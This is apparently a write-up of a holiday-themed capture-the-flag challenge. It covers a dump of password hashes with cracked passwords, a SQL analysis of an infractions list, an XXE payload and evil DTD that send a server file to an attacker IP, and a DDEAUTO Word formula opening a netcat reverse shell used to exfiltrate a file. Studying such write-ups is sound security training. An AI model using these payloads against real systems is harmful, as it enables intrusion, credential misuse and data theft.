vixen ff943fe99491b32ea387489106517af4
prancer ff943fe99491b32ea387489106517af4
dancer ff943fe99491b32ea387489106517af4
dasher ff943fe99491b32ea387489106517af4
tarpin.mcjinglehauser f259e9a289c4633fc1e3ab11b4368254
holly.evergreen 031ef087617c17157bd8024f13bd9086
mary.sugarplum b9c124f223cdc64ee2ae6abaeffbcbfe
sparkle.redberry 82161cf4b4c1d94320200dfe46f0db4c
wunorse.openslae 9fd69465699288ddd36a13b5b383e937
minty.candycane bcf38b6e70b907d51d9fa4154954f992
shimmy.upatree d0930efed8e75d7c8ed2e7d8e1d04e81
pepper.minstix d0930efed8e75d7c8ed2e7d8e1d04e81
bushy.evergreen 3d32700ab024645237e879d272ebc428
alabaster.snowball 17e22cc100b1806cdc3cf3b99a3480b5
jessica.claus 16268da802de6a2efe9c672ca79a7071
santa.claus cdabeb96b508f25f97ab0f162eac5a04

Lookup the password hashes using the SANS reverse hash lookup tool, and find password for santa.claus account.

md5 hash cdabeb96b508f25f97ab0f162eac5a04 = 1iwantacookie

Log into the web interface using username: santa.claus password: 1iwantacookie

Note

When the LDAP server access was blocked, Santa's password was changed. The new hash is d8b4c05a35b0513f302a85c409b4aab3 and the password is 001cookielips001

Open the menu in the right corner and select Santa Panel. Provide Santa's password when asked, and then view the letter sent to Santa from the Wizard of Oz.

North Pole Police Department

Browse to https://nppd.northpolechristmastown.com and click on the Infractions link. This server is publicly accessible and does not require any port forwarding.

Task #1: How many infractions are needed to be on Santa's naughty list?

Use a search string of >1900-01-01 to view all entries in the database, then click on the Download link to obtain the data in JSON format.

Use a JSON to CSV tool like the one at https://JSON-CSV.com to get the data into CSV form, then load it into a spreadsheet program. Microsoft Excel and Google Sheets are both well suited for this task.

I used the countif() function to associate the number of infractions from the NPPD database with the naughty or nice list found on the SMB file server, then created a pivot table to analyze the data.

Screenshot

No one on the naughty list has fewer than 3 infractions. Some people with 3-4 infractions are on the naughty list, but everyone with 5 or more infractions made it to the list.

Task #2: Who are the munchkin moles?

There is no explicit listing of munchkin moles provided, so we'll have to make an educated guess.

Recall the document on the SMB file server named "BOLO - Munchkin Mole Report.docx", which contains the names of two confirmed munchkins posing as elves (Boq Questrian and Bini Aru), and lists three behaviors that they engaged in (aggravated pulling of hair, giving super atomic wedgies, and throwing rocks at people). Observe that the infractions dataset shows the confirmed munchkins each performed at least two of these three documented behaviors.

I had difficulty modeling this in a pivot table, so I imported the data into a SQLite database. The individuals I'm looking for will have at least 2 distinct infractions from the list provided by the BOLO document. Here's how it's done:

root@kali:~/hh17/nppd# ls
infractions.csv  Naughty and Nice List.csv

root@kali:~/hh17/nppd# sqlite3 analysis.db
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.

sqlite> .mode csv
sqlite> .import infractions.csv infractions

sqlite> .schema infractions
CREATE TABLE infractions(
  """count""" TEXT,
  "query" TEXT,
  "infractions__status" TEXT,
  "infractions__severity" TEXT,
  "infractions__title" TEXT,
  "infractions__coals__001" TEXT,
  "infractions__coals__002" TEXT,
  "infractions__coals__003" TEXT,
  "infractions__coals__004" TEXT,
  "infractions__coals__005" TEXT,
  "infractions__date" TEXT,
  "infractions__name" TEXT
);

sqlite> SELECT infractions__name 
   ...>   FROM infractions 
   ...>   WHERE (
   ...>     infractions__title = "Aggravated pulling of hair" 
   ...>     OR infractions__title = "Giving super atomic wedgies" 
   ...>     OR infractions__title = "Throwing rocks (at people)"
   ...>   ) 
   ...>   GROUP BY infractions__name 
   ...>   HAVING count(DISTINCT infractions__title) > 1;

"Beverly Khalil"
"Bini Aru"
"Boq Questrian"
"Kirsty Evans"
"Nina Fitzgerald"
"Sheri Lewis"
"Wesley Morton"

The listing of names at the end will be our suspects. Hopefully elves and munchkins are presumed innocent until proven guilty.. I know I wouldn't want to be thrown in jail based on only a SQL query!

Elf as a Service (EaaS)

Use SSH port forwarding to access port 80 on 10.142.0.13. Browse to the web site and find that there is a file upload form on the page http://eaas.northpolechristmastown.com/Home/DisplayXML. The website provides a sample form http://eaas.northpolechristmastown.com/XMLFile/Elfdata.xml that shows the format of the upload file should be XML.

Attempt to exploit a possible XEE vulnerability in the XML upload function.

Note

XML External Entity (XEE) attack targets applications that have a weakly configured XML parser that can be used to access files outside the intended scope of the application, including sensitive data in system folders on the server. An article posted on the SANS Penetration Testing blog, Exploiting XXE Vulnerabilities in IIS/.NET, provides more information on this topic.

Create an evil dtd file for the EaaS server to download from the attacker PC. This file contains instructions for the EaaS server to access a file called "c:\greatbook.txt" and place its contents in a variable called "stolendata", then to make an HTTP call to the attacker PC's IP address with a GET parameter using the value of stolendata.

<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://192.0.2.123:8000/?%stolendata;'>">

Create an XML payload and upload it to the EaaS server. This contains instructions for the XML parser to download and process the evil.dtd file from the attacker PC.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "http://192.0.2.123:8000/evil.dtd">
    %extentity;
    %inception;
    %sendit;
    ]
>

Meanwhile, start the web server on the attacker PC and collect the results in its log output:

root@kali:~/hh17/eaas# python -m SimpleHTTPServer 8000 

35.185.118.225 - - [18/Dec/2017 21:55:42] "GET /evil.dtd HTTP/1.1" 200 -

35.185.118.225 - - [18/Dec/2017 21:55:42] "GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1" 200 -

The first request is the EaaS web server fetching the evil.dtd file, and the second request is the EaaS server sending us the contents of the greatbook.txt file.

Finally, download page 6 of the Great Book using the URL sent by the EaaS server above.

root@kali:~/hh17/eaas# wget http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf

Elf-Machine Interfaces (EMI)

Recall from Santa's inbox on the EWA server that Alabaster Snowball has asked for a copy of a gingerbread cookie recipe to be e-mailed to him, that he hinted that he'd open any docx attachment and click on prompts that appear, and that he says he's installed netcat in his executable path.

Screenshot

Read the SensePost article on Macro-less Code Exec in MSWord for some background on this vulnerability and how to attack it.

Create a Word document "gingerbread cookie recipe.docx" and add the following formula.

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k nc -e cmd.exe 192.0.2.123 8001"}

Using the EWA server, send this to Alabaster.Snowball@northpolechristmastown.com with the file attached and the words "gingerbread cookie recipe".

Meanwhile on the attacker PC, start a netcat listener and wait for the shell:

root@kali:~/hh17/emi# nc -nvlp 8001
listening on [any] 8001 ...
connect to [192.168.0.131] from (UNKNOWN) [35.185.57.190] 51038
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\alabaster_snowball>

Note

Microsoft recently closed this hole, however you can restore the functionality in Word by setting a registry key. Read more at the Sophos Naked Security blog here: Microsoft Word slams the door on DDEAUTO malware attacks.

Use the reverse shell to locate page 7 of The Great Book and exfiltrate it from the server using netcat:

C:\> nc 192.0.2.123 8001 < C:\GreatBookPage7.pdf
root@kali:~/hh17/emi# nc -nvlp 8001 > GreatBookPage7.pdf

Or, copy the file to the C:\inetpub\wwwroot\ and download it using wget:

C:\> copy C:\GreatBookPage7.pdf C:\inetpub\wwwroot\mySuperSecretFilename.pdf
root@kali:~/hh17/emi# wget http://emi.northpolechristmastown.com/mySuperSecretFilename.pdf